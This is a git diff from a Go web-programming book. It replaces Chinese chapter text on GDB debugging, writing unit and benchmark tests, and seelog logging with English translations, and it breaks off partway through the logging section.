+ [Inferior 1 (process 2771) exited normally] +好了,现在我们已经知道怎么让程序跑起来了,接下来开始给代码设置断点: + + (gdb) b 23 + Breakpoint 1 at 0x400d8d: file /home/xiemengjun/gdbfile.go, line 23. + (gdb) run + Starting program: /home/xiemengjun/gdbfile + Starting main + [New LWP 3284] + [Switching to LWP 3284] + + Breakpoint 1, main.main () at /home/xiemengjun/gdbfile.go:23 + 23 fmt.Println("count:", count) + +上面例子`b 23`表示在第23行设置了断点,之后输入`run`开始运行程序。现在程序在前面设置断点的地方停住了,我们需要查看断点相应上下文的源码,输入`list`就可以看到源码显示从当前停止行的前五行开始: + + (gdb) list + 18 fmt.Println(msg) + 19 bus := make(chan int) + 20 msg = "starting a gofunc" + 21 go counting(bus) + 22 for count := range bus { + 23 fmt.Println("count:", count) + 24 } + 25 } + +现在GDB在运行当前的程序的环境中已经保留了一些有用的调试信息,我们只需打印出相应的变量,查看相应变量的类型及值: + + (gdb) info locals + count = 0 + bus = 0xf840001a50 + (gdb) p count + $1 = 0 + (gdb) p bus + $2 = (chan int) 0xf840001a50 + (gdb) whatis bus + type = chan int + +接下来该让程序继续往下执行,请继续看下面的命令 + + (gdb) c + Continuing. + count: 0 + [New LWP 3303] + [Switching to LWP 3303] + + Breakpoint 1, main.main () at /home/xiemengjun/gdbfile.go:23 + 23 fmt.Println("count:", count) + (gdb) c + Continuing. + count: 1 + [Switching to LWP 3302] + + Breakpoint 1, main.main () at /home/xiemengjun/gdbfile.go:23 + 23 fmt.Println("count:", count) + +每次输入`c`之后都会执行一次代码,又跳到下一次for循环,继续打印出来相应的信息。 + +设想目前需要改变上下文相关变量的信息,跳过一些过程,并继续执行下一步,得出修改后想要的结果: + + (gdb) info locals + count = 2 + bus = 0xf840001a50 + (gdb) set variable count=9 + (gdb) info locals + count = 9 + bus = 0xf840001a50 + (gdb) c + Continuing. + count: 9 + [Switching to LWP 3302] + + Breakpoint 1, main.main () at /home/xiemengjun/gdbfile.go:23 + 23 fmt.Println("count:", count) + +最后稍微思考一下,前面整个程序运行的过程中到底创建了多少个goroutine,每个goroutine都在做什么: + + (gdb) info goroutines + * 1 running runtime.gosched + * 2 syscall runtime.entersyscall + 3 waiting runtime.gosched + 4 runnable runtime.gosched + (gdb) goroutine 1 bt + #0 0x000000000040e33b in runtime.gosched () at /home/xiemengjun/go/src/pkg/runtime/proc.c:927 + #1 0x0000000000403091 in runtime.chanrecv (c=void, ep=void, selected=void, received=void) + at /home/xiemengjun/go/src/pkg/runtime/chan.c:327 + #2 0x000000000040316f in runtime.chanrecv2 (t=void, c=void) + at /home/xiemengjun/go/src/pkg/runtime/chan.c:420 + #3 0x0000000000400d6f in main.main () at /home/xiemengjun/gdbfile.go:22 + #4 0x000000000040d0c7 in runtime.main () at /home/xiemengjun/go/src/pkg/runtime/proc.c:244 + #5 0x000000000040d16a in schedunlock () at /home/xiemengjun/go/src/pkg/runtime/proc.c:267 + #6 0x0000000000000000 in ?? () + +通过查看goroutines的命令我们可以清楚地了解goruntine内部是怎么执行的,每个函数的调用顺序已经明明白白地显示出来了。 + +## 小结 +本小节我们介绍了GDB调试Go程序的一些基本命令,包括`run`、`print`、`info`、`set variable`、`coutinue`、`list`、`break` 等经常用到的调试命令,通过上面的例子演示,我相信读者已经对于通过GDB调试Go程序有了基本的理解,如果你想获取更多的调试技巧请参考官方网站的GDB调试手册,还有GDB官方网站的手册。 + +## links + * [目录]() + * 上一节: [错误处理](<11.1.md>) + * 下一节: [Go怎么写测试用例](<11.3.md>) diff --git a/en/11.3.md b/en/11.3.md index 8a506307..259aaef3 100644 --- a/en/11.3.md +++ b/en/11.3.md @@ -1,149 +1,163 @@ -# 11.3 Go怎么写测试用例 -开发程序其中很重要的一点是测试,我们如何保证代码的质量,如何保证每个函数是可运行,运行结果是正确的,又如何保证写出来的代码性能是好的,我们知道单元测试的重点在于发现程序设计或实现的逻辑错误,使问题及早暴露,便于问题的定位解决,而性能测试的重点在于发现程序设计上的一些问题,让线上的程序能够在高并发的情况下还能保持稳定。本小节将带着这一连串的问题来讲解Go语言中如何来实现单元测试和性能测试。 - -Go语言中自带有一个轻量级的测试框架`testing`和自带的`go test`命令来实现单元测试和性能测试,`testing`框架和其他语言中的测试框架类似,你可以基于这个框架写针对相应函数的测试用例,也可以基于该框架写相应的压力测试用例,那么接下来让我们一一来看一下怎么写。 - -## 如何编写测试用例 -由于`go test`命令只能在一个相应的目录下执行所有文件,所以我们接下来新建一个项目目录`gotest`,这样我们所有的代码和测试代码都在这个目录下。 - -接下来我们在该目录下面创建两个文件:gotest.go和gotest_test.go - -1. gotest.go:这个文件里面我们是创建了一个包,里面有一个函数实现了除法运算: - - package gotest - - import ( - "errors" - ) - - func Division(a, b float64) (float64, error) { - if b == 0 { - return 0, errors.New("除数不能为0") - } - - return a / b, nil - } - -2. gotest_test.go:这是我们的单元测试文件,但是记住下面的这些原则: - - - 文件名必须是`_test.go`结尾的,这样在执行`go test`的时候才会执行到相应的代码 - - 你必须import `testing`这个包 - - 所有的测试用例函数必须是`Test`开头 - - 测试用例会按照源代码中写的顺序依次执行 - - 测试函数`TestXxx()`的参数是`testing.T`,我们可以使用该类型来记录错误或者是测试状态 - - 测试格式:`func TestXxx (t *testing.T)`,`Xxx`部分可以为任意的字母数字的组合,但是首字母不能是小写字母[a-z],例如`Testintdiv`是错误的函数名。 - - 函数中通过调用`testing.T`的`Error`, `Errorf`, `FailNow`, `Fatal`, `FatalIf`方法,说明测试不通过,调用`Log`方法用来记录测试的信息。 - - 下面是我们的测试用例的代码: - - package gotest - - import ( - "testing" - ) - - func Test_Division_1(t *testing.T) { - if i, e := Division(6, 2); i != 3 || e != nil { //try a unit test on function - t.Error("除法函数测试没通过") // 如果不是如预期的那么就报错 - } else { - t.Log("第一个测试通过了") //记录一些你期望记录的信息 - } - } - - func Test_Division_2(t *testing.T) { - t.Error("就是不通过") - } - - 我们在项目目录下面执行`go test`,就会显示如下信息: - - --- FAIL: Test_Division_2 (0.00 seconds) - gotest_test.go:16: 就是不通过 - FAIL - exit status 1 - FAIL gotest 0.013s - 从这个结果显示测试没有通过,因为在第二个测试函数中我们写死了测试不通过的代码`t.Error`,那么我们的第一个函数执行的情况怎么样呢?默认情况下执行`go test`是不会显示测试通过的信息的,我们需要带上参数`go test -v`,这样就会显示如下信息: - - === RUN Test_Division_1 - --- PASS: Test_Division_1 (0.00 seconds) - gotest_test.go:11: 第一个测试通过了 - === RUN Test_Division_2 - --- FAIL: Test_Division_2 (0.00 seconds) - gotest_test.go:16: 就是不通过 - FAIL - exit status 1 - FAIL gotest 0.012s - 上面的输出详细的展示了这个测试的过程,我们看到测试函数1`Test_Division_1`测试通过,而测试函数2`Test_Division_2`测试失败了,最后得出结论测试不通过。接下来我们把测试函数2修改成如下代码: - - func Test_Division_2(t *testing.T) { - if _, e := Division(6, 0); e == nil { //try a unit test on function - t.Error("Division did not work as expected.") // 如果不是如预期的那么就报错 - } else { - t.Log("one test passed.", e) //记录一些你期望记录的信息 - } - } - 然后我们执行`go test -v`,就显示如下信息,测试通过了: - - === RUN Test_Division_1 - --- PASS: Test_Division_1 (0.00 seconds) - gotest_test.go:11: 第一个测试通过了 - === RUN Test_Division_2 - --- PASS: Test_Division_2 (0.00 seconds) - gotest_test.go:20: one test passed. 除数不能为0 - PASS - ok gotest 0.013s - -## 如何编写压力测试 -压力测试用来检测函数(方法)的性能,和编写单元功能测试的方法类似,此处不再赘述,但需要注意以下几点: - -- 压力测试用例必须遵循如下格式,其中XXX可以是任意字母数字的组合,但是首字母不能是小写字母 - - func BenchmarkXXX(b *testing.B) { ... } - -- `go test`不会默认执行压力测试的函数,如果要执行压力测试需要带上参数`-test.bench`,语法:`-test.bench="test_name_regex"`,例如`go test -test.bench=".*"`表示测试全部的压力测试函数 -- 在压力测试用例中,请记得在循环体内使用`testing.B.N`,以使测试可以正常的运行 -- 文件名也必须以`_test.go`结尾 - -下面我们新建一个压力测试文件webbench_test.go,代码如下所示: - - package gotest - - import ( - "testing" - ) - - func Benchmark_Division(b *testing.B) { - for i := 0; i < b.N; i++ { //use b.N for looping - Division(4, 5) - } - } - - func Benchmark_TimeConsumingFunction(b *testing.B) { - b.StopTimer() //调用该函数停止压力测试的时间计数 - - //做一些初始化的工作,例如读取文件数据,数据库连接之类的, - //这样这些时间不影响我们测试函数本身的性能 - - b.StartTimer() //重新开始时间 - for i := 0; i < b.N; i++ { - Division(4, 5) - } - } - - -我们执行命令`go test -file webbench_test.go -test.bench=".*"`,可以看到如下结果: - - PASS - Benchmark_Division 500000000 7.76 ns/op - Benchmark_TimeConsumingFunction 500000000 7.80 ns/op - ok gotest 9.364s - -上面的结果显示我们没有执行任何`TestXXX`的单元测试函数,显示的结果只执行了压力测试函数,第一条显示了`Benchmark_Division`执行了500000000次,每次的执行平均时间是7.76纳秒,第二条显示了`Benchmark_TimeConsumingFunction`执行了500000000,每次的平均执行时间是7.80纳秒。最后一条显示总共的执行时间。 - -## 小结 -通过上面对单元测试和压力测试的学习,我们可以看到`testing`包很轻量,编写单元测试和压力测试用例非常简单,配合内置的`go test`命令就可以非常方便的进行测试,这样在我们每次修改完代码,执行一下go test就可以简单的完成回归测试了。 - - -## links - * [目录]() - * 上一节: [使用GDB调试](<11.2.md>) - * 下一节: [小结](<11.4.md>) \ No newline at end of file +# 11.3 Writing test cases + +In the course of development, a very important step is to test our code to ensure its quality and integrity. We need to make sure that every function returns the expected result, and that our code performs optimally. We already know that the focus of unit tests is to find logical errors in the design or implementation of programs. They are used to detect and expose problems in code early on so that we can more easily fix them, before they get out of hand. We also know that performance tests are conducted for the purpose of optimizing our code so that it is stable under load, and can maintain a high level of concurrency. In this section, we'll take a look at some commonly asked questions about how unit and performance tests are implemented in Go. + +The Go language comes with a lightweight testing framework called `testing`, and we can use the `go test` command to execute unit and performance tests. Go's `testing` framework works similarly to testing frameworks in other languages. You can develop all sorts of test suites with them, which may include tests for unit testes, benchmarking, stress tests, etc. Let's learn about testing in Go, step by step. + +## How to write test cases + +Since the `go test` command can only be executed in a directory containing all corresponding files, we are going to create a new project directory `gotest` so that all of our code and test code are in the same directory. + +Let's go ahead and create two files in the directory called gotest.go and gotest_test.go + +1. Gotest.go: This file declares our package name and has a function that performs a division operation: + +
package gotest
+	
+	import (
+		"errors"
+	)
+	
+	func Division(a, b float64) (float64, error) {
+		if b == 0 {
+			return 0, errors.New("Divisor can not be 0")
+		}
+		return a / b, nil
+	}
+ +2. Gotest_test.go: This is our unit test file. Keep in mind the following principles for test files: + +- File names must end in `_test.go` so that `go test` can find and execute the appropriate code +- You have to import the `testing` package +- All test case functions begin with `Test` +- Test cases follow the source code order +- Test functions of the form `TestXxx()` take a `testing.T` argument; we can use this type to record errors or to get the testing status +- In functions of the form `func TestXxx(t * testing.T)`, the `Xxx` section can be any alphanumeric combination, but the first letter cannot be a lowercase letter [az]. For example, `Testintdiv` would be an invalid function name. +- By calling one of the `Error`, `Errorf`, `FailNow`, `Fatal` or `FatalIf` methods of `testing.T` on our testing functions, we can fail the test. In addition, we can call the `Log` method of `testing.T` to record the information in the error log. + +Here is our test code: + + package gotest + + import ( + "testing" + ) + + func Test_Division_1(t *testing.T) { + // try a unit test on function + if i, e := Division(6, 2); i != 3 || e != nil { + // If it is not as expected, then the test has failed + t.Error("division function tests do not pass ") + } else { + // record the expected information + t.Log("first test passed ") + } + } + + func Test_Division_2(t *testing.T) { + t.Error("just does not pass") + } + + +When executing `go test` in the project directory, it will display the following information: + + --- FAIL: Test_Division_2 (0.00 seconds) + gotest_test.go: 16: is not passed + FAIL + exit status 1 + FAIL gotest 0.013s + +We can see from this result that the second test function does not pass since we wrote in a dead-end using `t.Error`. But what about the performance of our first test function? By default, executing `go test` does not display test results. We need to supply the verbose argument `-v` like `go test -v` to display the following output: + + === RUN Test_Division_1 + --- PASS: Test_Division_1 (0.00 seconds) + gotest_test.go: 11: first test passed + === RUN Test_Division_2 + --- FAIL: Test_Division_2 (0.00 seconds) + gotest_test.go: 16: is not passed + FAIL + exit status 1 + FAIL gotest 0.012s + +The above output shows in detail the results of our test. We see that the test function 1 `Test_Division_1` passes, and the test function 2 `Test_Division_2` fails, finally concluding that our test suite does not pass. Next, we modify the test function 2 with the following code: + + func Test_Division_2(t *testing.T) { + // try a unit test on function + if _, e := Division(6, 0); e == nil { + // If it is not as expected, then the error + t.Error("Division did not work as expected.") + } else { + // record some of the information you expect to record + t.Log("one test passed.", e) + } + } + +We execute `go test-v` once again. The following information should now be displayed -the test suite has passed~: + + === RUN Test_Division_1 + --- PASS: Test_Division_1 (0.00 seconds) + gotest_test.go: 11: first test passed + === RUN Test_Division_2 + --- PASS: Test_Division_2 (0.00 seconds) + gotest_test.go: 20: one test passed. divisor can not be 0 + PASS + ok gotest 0.013s + +## How to write stress tests + +Stress testing is used to detect function performance, and bears some resemblance to unit testing (which we will not get into here), however we need need to pay attention to the following points: + +- Stress tests must follow the following format, where XXX can be any alphanumeric combination and its first letter cannot be a lowercase letter. + + func BenchmarkXXX (b *testing.B){...} + +- By default, `Go test` does not perform function stress tests. If you want to perform stress tests, you need to set the flag `-test.bench` with the format: `-test.bench="test_name_regex"`. For instance, to run all stress tests in your suite, you would run `go test -test.bench=".*"`. +- In your stress tests, please remember to use testing.BN any loop bodies, so that the tests can be run properly. +- As before, test file names must end in `_test.go` + +Here we create a stress test file called webbench_test.go: + + package gotest + + import ( + "testing" + ) + + func Benchmark_Division(b *testing.B) { + for i := 0; i < bN; i++ { // use bN for looping + Division(4, 5) + } + } + + func Benchmark_TimeConsumingFunction(b *testing.B) { + b.StopTimer() // call the function to stop the stress test time count + + // Do some initialization work, such as reading file data, database connections and the like, + // So that our benchmarks reflect the performance of the function itself + + b.StartTimer() // re-start time + for i := 0; i < b.N; i++ { + Division(4, 5) + } + } + + + +We then execute the `go test -file webbench_test.go -test.bench =".*"` command, which outputs the following results: + + PASS + Benchmark_Division 500000000 7.76 ns/ op + Benchmark_TimeConsumingFunction 500000000 7.80 ns/ op + ok gotest 9.364s + +The above results show that we did not perform any of our `TestXXX` unit test functions, and instead only performed our `BenchmarkXXX` tests (which is exactly as expected). The first `Benchmark_Division` test shows that our `Division()` function executed 500 million times, with an average execution time of 7.76ns. The second `Benchmark_TimeConsumingFunction` shows that our `TmeConsumingFunction` executed 500 million times, with an average execution time of 7.80ns. Finally, it outputs the total execution time of our test suite. + +## Summary + +From our brief encounter with unit and stress testing in Go, we can see that the `testing` package is very lightweight, yet packed with useful utilities. We saw that writing unit and stress tests can be very simple, and running them can be even easier with Go's built-in `go test` command. Every time we modify our code, we can simply run `go test` to begin regression testing. + +## Links + +- [Directory](preface.md) +- Previous section: [Debugging using GDB](11.2.md) +- Next section: [Summary](11.4.md) diff --git a/en/11.3.md~380a8ee74c41759d8189ad553423467994187253 b/en/11.3.md~380a8ee74c41759d8189ad553423467994187253 new file mode 100644 index 00000000..76de126e --- /dev/null +++ b/en/11.3.md~380a8ee74c41759d8189ad553423467994187253 @@ -0,0 +1,149 @@ +# 11.3 Go怎么写测试用例 +开发程序其中很重要的一点是测试,我们如何保证代码的质量,如何保证每个函数是可运行,运行结果是正确的,又如何保证写出来的代码性能是好的,我们知道单元测试的重点在于发现程序设计或实现的逻辑错误,使问题及早暴露,便于问题的定位解决,而性能测试的重点在于发现程序设计上的一些问题,让线上的程序能够在高并发的情况下还能保持稳定。本小节将带着这一连串的问题来讲解Go语言中如何来实现单元测试和性能测试。 + +Go语言中自带有一个轻量级的测试框架`testing`和自带的`go test`命令来实现单元测试和性能测试,`testing`框架和其他语言中的测试框架类似,你可以基于这个框架写针对相应函数的测试用例,也可以基于该框架写相应的压力测试用例,那么接下来让我们一一来看一下怎么写。 + +## 如何编写测试用例 +由于`go test`命令只能在一个相应的目录下执行所有文件,所以我们接下来新建一个项目目录`gotest`,这样我们所有的代码和测试代码都在这个目录下。 + +接下来我们在该目录下面创建两个文件:gotest.go和gotest_test.go + +1. gotest.go:这个文件里面我们是创建了一个包,里面有一个函数实现了除法运算: + + package gotest + + import ( + "errors" + ) + + func Division(a, b float64) (float64, error) { + if b == 0 { + return 0, errors.New("除数不能为0") + } + + return a / b, nil + } + +2. gotest_test.go:这是我们的单元测试文件,但是记住下面的这些原则: + + - 文件名必须是`_test.go`结尾的,这样在执行`go test`的时候才会执行到相应的代码 + - 你必须import `testing`这个包 + - 所有的测试用例函数必须是`Test`开头 + - 测试用例会按照源代码中写的顺序依次执行 + - 测试函数`TestXxx()`的参数是`testing.T`,我们可以使用该类型来记录错误或者是测试状态 + - 测试格式:`func TestXxx (t *testing.T)`,`Xxx`部分可以为任意的字母数字的组合,但是首字母不能是小写字母[a-z],例如`Testintdiv`是错误的函数名。 + - 函数中通过调用`testing.T`的`Error`, `Errorf`, `FailNow`, `Fatal`, `FatalIf`方法,说明测试不通过,调用`Log`方法用来记录测试的信息。 + + 下面是我们的测试用例的代码: + + package gotest + + import ( + "testing" + ) + + func Test_Division_1(t *testing.T) { + if i, e := Division(6, 2); i != 3 || e != nil { //try a unit test on function + t.Error("除法函数测试没通过") // 如果不是如预期的那么就报错 + } else { + t.Log("第一个测试通过了") //记录一些你期望记录的信息 + } + } + + func Test_Division_2(t *testing.T) { + t.Error("就是不通过") + } + + 我们在项目目录下面执行`go test`,就会显示如下信息: + + --- FAIL: Test_Division_2 (0.00 seconds) + gotest_test.go:16: 就是不通过 + FAIL + exit status 1 + FAIL gotest 0.013s + 从这个结果显示测试没有通过,因为在第二个测试函数中我们写死了测试不通过的代码`t.Error`,那么我们的第一个函数执行的情况怎么样呢?默认情况下执行`go test`是不会显示测试通过的信息的,我们需要带上参数`go test -v`,这样就会显示如下信息: + + === RUN Test_Division_1 + --- PASS: Test_Division_1 (0.00 seconds) + gotest_test.go:11: 第一个测试通过了 + === RUN Test_Division_2 + --- FAIL: Test_Division_2 (0.00 seconds) + gotest_test.go:16: 就是不通过 + FAIL + exit status 1 + FAIL gotest 0.012s + 上面的输出详细的展示了这个测试的过程,我们看到测试函数1`Test_Division_1`测试通过,而测试函数2`Test_Division_2`测试失败了,最后得出结论测试不通过。接下来我们把测试函数2修改成如下代码: + + func Test_Division_2(t *testing.T) { + if _, e := Division(6, 0); e == nil { //try a unit test on function + t.Error("Division did not work as expected.") // 如果不是如预期的那么就报错 + } else { + t.Log("one test passed.", e) //记录一些你期望记录的信息 + } + } + 然后我们执行`go test -v`,就显示如下信息,测试通过了: + + === RUN Test_Division_1 + --- PASS: Test_Division_1 (0.00 seconds) + gotest_test.go:11: 第一个测试通过了 + === RUN Test_Division_2 + --- PASS: Test_Division_2 (0.00 seconds) + gotest_test.go:20: one test passed. 除数不能为0 + PASS + ok gotest 0.013s + +## 如何编写压力测试 +压力测试用来检测函数(方法)的性能,和编写单元功能测试的方法类似,此处不再赘述,但需要注意以下几点: + +- 压力测试用例必须遵循如下格式,其中XXX可以是任意字母数字的组合,但是首字母不能是小写字母 + + func BenchmarkXXX(b *testing.B) { ... } + +- `go test`不会默认执行压力测试的函数,如果要执行压力测试需要带上参数`-test.bench`,语法:`-test.bench="test_name_regex"`,例如`go test -test.bench=".*"`表示测试全部的压力测试函数 +- 在压力测试用例中,请记得在循环体内使用`testing.B.N`,以使测试可以正常的运行 +- 文件名也必须以`_test.go`结尾 + +下面我们新建一个压力测试文件webbench_test.go,代码如下所示: + + package gotest + + import ( + "testing" + ) + + func Benchmark_Division(b *testing.B) { + for i := 0; i < b.N; i++ { //use b.N for looping + Division(4, 5) + } + } + + func Benchmark_TimeConsumingFunction(b *testing.B) { + b.StopTimer() //调用该函数停止压力测试的时间计数 + + //做一些初始化的工作,例如读取文件数据,数据库连接之类的, + //这样这些时间不影响我们测试函数本身的性能 + + b.StartTimer() //重新开始时间 + for i := 0; i < b.N; i++ { + Division(4, 5) + } + } + + +我们执行命令`go test -file webbench_test.go -test.bench=".*"`,可以看到如下结果: + + PASS + Benchmark_Division 500000000 7.76 ns/op + Benchmark_TimeConsumingFunction 500000000 7.80 ns/op + ok gotest 9.364s + +上面的结果显示我们没有执行任何`TestXXX`的单元测试函数,显示的结果只执行了压力测试函数,第一条显示了`Benchmark_Division`执行了500000000次,每次的执行平均时间是7.76纳秒,第二条显示了`Benchmark_TimeConsumingFunction`执行了500000000,每次的平均执行时间是7.80纳秒。最后一条显示总共的执行时间。 + +## 小结 +通过上面对单元测试和压力测试的学习,我们可以看到`testing`包很轻量,编写单元测试和压力测试用例非常简单,配合内置的`go test`命令就可以非常方便的进行测试,这样在我们每次修改完代码,执行一下go test就可以简单的完成回归测试了。 + + +## links + * [目录]() + * 上一节: [使用GDB调试](<11.2.md>) + * 下一节: [小结](<11.4.md>) \ No newline at end of file diff --git a/en/11.4.md b/en/11.4.md index c7e592b0..6bd250a2 100644 --- a/en/11.4.md +++ b/en/11.4.md @@ -1,7 +1,9 @@ -# 11.4 小结 -本章我们通过三个小节分别介绍了Go语言中如何处理错误,如何设计错误处理,然后第二小节介绍了如何通过GDB来调试程序,通过GDB我们可以单步调试、可以查看变量、修改变量、打印执行过程等,最后我们介绍了如何利用Go语言自带的轻量级框架`testing`来编写单元测试和压力测试,使用`go test`就可以方便的执行这些测试,使得我们将来代码升级修改之后很方便的进行回归测试。这一章也许对于你编写程序逻辑没有任何帮助,但是对于你编写出来的程序代码保持高质量是至关重要的,因为一个好的Web应用必定有良好的错误处理机制(错误提示的友好、可扩展性)、有好的单元测试和压力测试以保证上线之后代码能够保持良好的性能和按预期的运行。 - -## links - * [目录]() - * 上一节: [Go怎么写测试用例](<11.3.md>) - * 下一节: [部署与维护](<12.0.md>) \ No newline at end of file +# 11.4 Summary + +Over the course of the last three sections, we've introduced how to handle errors in Go, first looking at good error handling practices and design, then learning how to use the GDB debugger effectively. We saw that with GDB, we can perform single-step debugging, view and modify our program variables during execution, and print out the relevant process information. Finally, we described how to use Go's built-in `testing` framework to write unit and stress tests. Properly using this framework allows us to easily make any future changes to our code and perform the necessary regression testing. Good web applications must have good error handling, and part of that is having readable errors and error handling mechanisms which can scale in a predictable manner. Using the tools mentioned above as well as writing high quality and thorough unit and stress tests, we can have peace of mind knowing that once our applications are live, they can maintain optimal performance and run as expected. + +## Links + +- [Directory](preface.md) +- Previous section: [Write test cases](11.3.md) +- Next chapter: [Deployment and maintenance](12.0.md) diff --git a/en/11.4.md~380a8ee74c41759d8189ad553423467994187253 b/en/11.4.md~380a8ee74c41759d8189ad553423467994187253 new file mode 100644 index 00000000..4a8a3e00 --- /dev/null +++ b/en/11.4.md~380a8ee74c41759d8189ad553423467994187253 @@ -0,0 +1,7 @@ +# 11.4 小结 +本章我们通过三个小节分别介绍了Go语言中如何处理错误,如何设计错误处理,然后第二小节介绍了如何通过GDB来调试程序,通过GDB我们可以单步调试、可以查看变量、修改变量、打印执行过程等,最后我们介绍了如何利用Go语言自带的轻量级框架`testing`来编写单元测试和压力测试,使用`go test`就可以方便的执行这些测试,使得我们将来代码升级修改之后很方便的进行回归测试。这一章也许对于你编写程序逻辑没有任何帮助,但是对于你编写出来的程序代码保持高质量是至关重要的,因为一个好的Web应用必定有良好的错误处理机制(错误提示的友好、可扩展性)、有好的单元测试和压力测试以保证上线之后代码能够保持良好的性能和按预期的运行。 + +## links + * [目录]() + * 上一节: [Go怎么写测试用例](<11.3.md>) + * 下一节: [部署与维护](<12.0.md>) \ No newline at end of file diff --git a/en/12.0.md b/en/12.0.md index 642823f5..67cccc87 100644 --- a/en/12.0.md +++ b/en/12.0.md @@ -1,11 +1,9 @@ -# 12 部署与维护 -到目前为止,我们前面已经介绍了如何开发程序、调试程序以及测试程序,正如人们常说的:开发最后的10%需要花费90%的时间,所以这一章我们将强调这最后的10%部分,要真正成为让人信任并使用的优秀应用,需要考虑到一些细节,以上所说的10%就是指这些小细节。 - -本章我们将通过四个小节来介绍这些小细节的处理,第一小节介绍如何在生产服务上记录程序产生的日志,如何记录日志,第二小节介绍发生错误时我们的程序如何处理,如何保证尽量少的影响到用户的访问,第三小节介绍如何来部署Go的独立程序,由于目前Go程序还无法像C那样写成daemon,那么我们如何管理这样的进程程序后台运行呢?第四小节将介绍应用数据的备份和恢复,尽量保证应用在崩溃的情况能够保持数据的完整性。 -## 目录 - ![](images/navi12.png?raw=true) - -## links - * [目录]() - * 上一章: [第十一章总结](<11.4.md>) - * 下一节: [应用日志](<12.1.md>) \ No newline at end of file +# 12 Deployment and maintenance + +So far, we've covered the basics of developing, debugging and testing web applications in Go. As is often said, however: the last 10% of development takes 90% of the time. In this chapter, we will be emphasizing this last 10% of application development in order to truly craft reliable and high quality web applications. In the first section, we will examine how production services generate logs, and the process of logging itself. The second section will describe dealing with runtime errors, and how to manage them when they occur so that the impact on end users is minimized. In the third section, we tackle the subject of deploying standalone Go programs, which can be tricky at first. As you might know, Go programs cannot be written with daemons like you would with a language such as C. We'll discuss how background processes are typically managed in Go. Finally, our fourth and last section will address the process of backing up and recovering application data in Go. We'll take a look at some techniques for ensuring that in the event of a crash, we will be able to maintain the integrity of our data. + +## Links + +- [Directory](preface.md) +- Previous chapter: [Chapter 11 summary](11.4.md) +- Next section: [Logs](12.1.md) diff --git a/en/12.0.md~380a8ee74c41759d8189ad553423467994187253 b/en/12.0.md~380a8ee74c41759d8189ad553423467994187253 new file mode 100644 index 00000000..3dc3013c --- /dev/null +++ b/en/12.0.md~380a8ee74c41759d8189ad553423467994187253 @@ -0,0 +1,11 @@ +# 12 部署与维护 +到目前为止,我们前面已经介绍了如何开发程序、调试程序以及测试程序,正如人们常说的:开发最后的10%需要花费90%的时间,所以这一章我们将强调这最后的10%部分,要真正成为让人信任并使用的优秀应用,需要考虑到一些细节,以上所说的10%就是指这些小细节。 + +本章我们将通过四个小节来介绍这些小细节的处理,第一小节介绍如何在生产服务上记录程序产生的日志,如何记录日志,第二小节介绍发生错误时我们的程序如何处理,如何保证尽量少的影响到用户的访问,第三小节介绍如何来部署Go的独立程序,由于目前Go程序还无法像C那样写成daemon,那么我们如何管理这样的进程程序后台运行呢?第四小节将介绍应用数据的备份和恢复,尽量保证应用在崩溃的情况能够保持数据的完整性。 +## 目录 + ![](images/navi12.png?raw=true) + +## links + * [目录]() + * 上一章: [第十一章总结](<11.4.md>) + * 下一节: [应用日志](<12.1.md>) \ No newline at end of file diff --git a/en/12.1.md b/en/12.1.md index 8f039b3e..bd5e3143 100644 --- a/en/12.1.md +++ b/en/12.1.md @@ -1,166 +1,180 @@ -# 12.1 应用日志 -我们期望开发的Web应用程序能够把整个程序运行过程中出现的各种事件一一记录下来,Go语言中提供了一个简易的log包,我们使用该包可以方便的实现日志记录的功能,这些日志都是基于fmt包的打印再结合panic之类的函数来进行一般的打印、抛出错误处理。Go目前标准包只是包含了简单的功能,如果我们想把我们的应用日志保存到文件,然后又能够结合日志实现很多复杂的功能(编写过Java或者C++的读者应该都使用过log4j和log4cpp之类的日志工具),可以使用第三方开发的一个日志系统,`https://github.com/cihub/seelog`,它实现了很强大的日志功能。接下来我们介绍如何通过该日志系统来实现我们应用的日志功能。 - -## seelog介绍 -seelog是用Go语言实现的一个日志系统,它提供了一些简单的函数来实现复杂的日志分配、过滤和格式化。主要有如下特性: - -- XML的动态配置,可以不用重新编译程序而动态的加载配置信息 -- 支持热更新,能够动态改变配置而不需要重启应用 -- 支持多输出流,能够同时把日志输出到多种流中、例如文件流、网络流等 -- 支持不同的日志输出 - - - 命令行输出 - - 文件输出 - - 缓存输出 - - 支持log rotate - - SMTP邮件 - -上面只列举了部分特性,seelog是一个特别强大的日志处理系统,详细的内容请参看官方wiki。接下来我将简要介绍一下如何在项目中使用它: - -首先安装seelog - - go get -u github.com/cihub/seelog - -然后我们来看一个简单的例子: - - package main - - import log "github.com/cihub/seelog" - - func main() { - defer log.Flush() - log.Info("Hello from Seelog!") - } - -编译后运行如果出现了`Hello from seelog`,说明seelog日志系统已经成功安装并且可以正常运行了。 - -## 基于seelog的自定义日志处理 -seelog支持自定义日志处理,下面是我基于它自定义的日志处理包的部分内容: - - package logs - - import ( - "errors" - "fmt" - seelog "github.com/cihub/seelog" - "io" - ) - - var Logger seelog.LoggerInterface - - func loadAppConfig() { - appConfig := ` - - - - - - - - - - - - - - - - - ` - logger, err := seelog.LoggerFromConfigAsBytes([]byte(appConfig)) - if err != nil { - fmt.Println(err) - return - } - UseLogger(logger) - } - - func init() { - DisableLog() - loadAppConfig() - } - - // DisableLog disables all library log output - func DisableLog() { - Logger = seelog.Disabled - } - - // UseLogger uses a specified seelog.LoggerInterface to output library log. - // Use this func if you are using Seelog logging system in your app. - func UseLogger(newLogger seelog.LoggerInterface) { - Logger = newLogger - } - -上面主要实现了三个函数, - -- `DisableLog` - - 初始化全局变量Logger为seelog的禁用状态,主要为了防止Logger被多次初始化 -- `loadAppConfig` - - 根据配置文件初始化seelog的配置信息,这里我们把配置文件通过字符串读取设置好了,当然也可以通过读取XML文件。里面的配置说明如下: - - - seelog - - minlevel参数可选,如果被配置,高于或等于此级别的日志会被记录,同理maxlevel。 - - outputs - - 输出信息的目的地,这里分成了两份数据,一份记录到log rotate文件里面。另一份设置了filter,如果这个错误级别是critical,那么将发送报警邮件。 - - - formats - - 定义了各种日志的格式 - -- `UseLogger` - - 设置当前的日志器为相应的日志处理 - -上面我们定义了一个自定义的日志处理包,下面就是使用示例: - - package main - - import ( - "net/http" - "project/logs" - "project/configs" - "project/routes" - ) - - func main() { - addr, _ := configs.MainConfig.String("server", "addr") - logs.Logger.Info("Start server at:%v", addr) - err := http.ListenAndServe(addr, routes.NewMux()) - logs.Logger.Critical("Server err:%v", err) - } - -## 发生错误发送邮件 -上面的例子解释了如何设置发送邮件,我们通过如下的smtp配置用来发送邮件: - - - - - 